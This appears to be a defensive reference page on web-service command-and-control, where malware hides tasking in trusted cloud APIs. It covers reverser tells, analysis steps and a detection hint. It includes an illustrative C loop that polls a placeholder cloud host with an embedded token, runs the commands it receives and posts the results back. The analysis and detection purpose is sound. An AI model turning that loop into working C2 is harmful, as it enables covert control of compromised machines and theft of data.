Web Service C2
Malware uses a legitimate web service like GitHub, Pastebin, or a cloud API as its C2 channel, hiding tasking inside trusted, encrypted traffic.
Web Service C2 routes command-and-control through a legitimate, widely used third-party service — GitHub, Pastebin, Telegram, Trello, Google Sheets, Dropbox, OneDrive, or any cloud provider with a public API. The implant authenticates to the service (often with a hard-coded token), reads tasking from a file, gist, paste, channel, or storage object, executes it, and writes results back to the same service. The C2 traffic is indistinguishable at the network layer from any other use of that service: it is HTTPS to a major, allow-listed domain with a valid certificate.
This "living off trusted sites" approach gives the operator built-in TLS, high availability, content-delivery reach, and an egress destination that virtually no organisation blocks. Defenders cannot simply blocklist api.github.com or graph.microsoft.com. Turla's Crutch staged data through Dropbox, POLONIUM's tools used OneDrive and Dropbox for both tasking and exfiltration, and RogueRobin pivoted to Google Drive when its DNS channel failed.
For an analyst the task is to recover the service, the account or token, and the specific object the implant reads — that combination lets defenders pull the live tasking and, where the platform cooperates, attribute and dismantle the channel.
How it works
The implant authenticates to the service API and polls a known object for commands, then posts output back to the same account:
// Illustrative web-service C2 loop — descriptive, not deployable.
// Tasking is read from a service object; results are written back.
void web_service_c2(const char *token)
{
char url[256];
snprintf(url, sizeof url,
"https://api.example-cloud.com/v3/items/%s/content", TASK_ID);
for (;;) {
char task[8192];
// Authorization header carries the embedded token
https_get_auth(url, token, task, sizeof task); // poll for command
if (task[0]) {
char out[16384];
run_command(decode(task), out, sizeof out); // payload decoded
https_put_auth(RESULT_URL, token, encode(out)); // write result
}
sleep_jitter(60); // beacon interval
}
}Tells for a reverser: a hard-coded API base URL for a major SaaS/cloud provider, an embedded OAuth/bearer token or API key, an Authorization header construction, and a polling loop that GETs one object and PUT/POSTs another. The tasking is usually encoded or encrypted inside an otherwise benign-looking file. Unlike a browser, the implant touches exactly one or two API endpoints repeatedly with machine-like regularity.
Detection & analysis
Static analysis:
- Recover the service base URL, the hard-coded token or API key, and the object identifiers (gist ID, file path, channel ID, sheet ID). These pinpoint the exact account and object used for C2 and are the strongest static evidence; a leaked token also lets investigators read the tasking directly via the platform's API.
- Identify the encode/decode and any encryption applied to the tasking and results. The implant must transform the object contents before use — recovering that routine lets you decode captured objects and read both directions.
- Map the request pattern: a fixed GET-poll endpoint plus a PUT/POST result endpoint, with
Authorizationheaders, distinguishes a C2 client from genuine application traffic to the same service.
Dynamic analysis:
- Detonate with TLS interception in a sandbox. The implant authenticates to a major API and then polls a single object at a regular cadence — repeated identical API calls to one resource ID, on a timer, is the behavioural signature. Capture the token and object so the live tasking can be retrieved.
- Compare beacon regularity and User-Agent against legitimate clients: malware typically uses a non-standard or library-default User-Agent, no human-driven variability, and touches none of the service's other endpoints.
- Decode the fetched object with the reversed routine to read the staged commands or exfiltrated data.
Detection rule hint:
Hunt for a single endpoint making regular, low-jitter authenticated API calls to one object on a trusted SaaS/cloud service from a non-browser process or anomalous User-Agent, with a steady GET-then-PUT/POST pattern to the same account — machine-cadence polling of one API object, rather than the bursty, multi-endpoint pattern of genuine app usage, is the marker of web-service C2.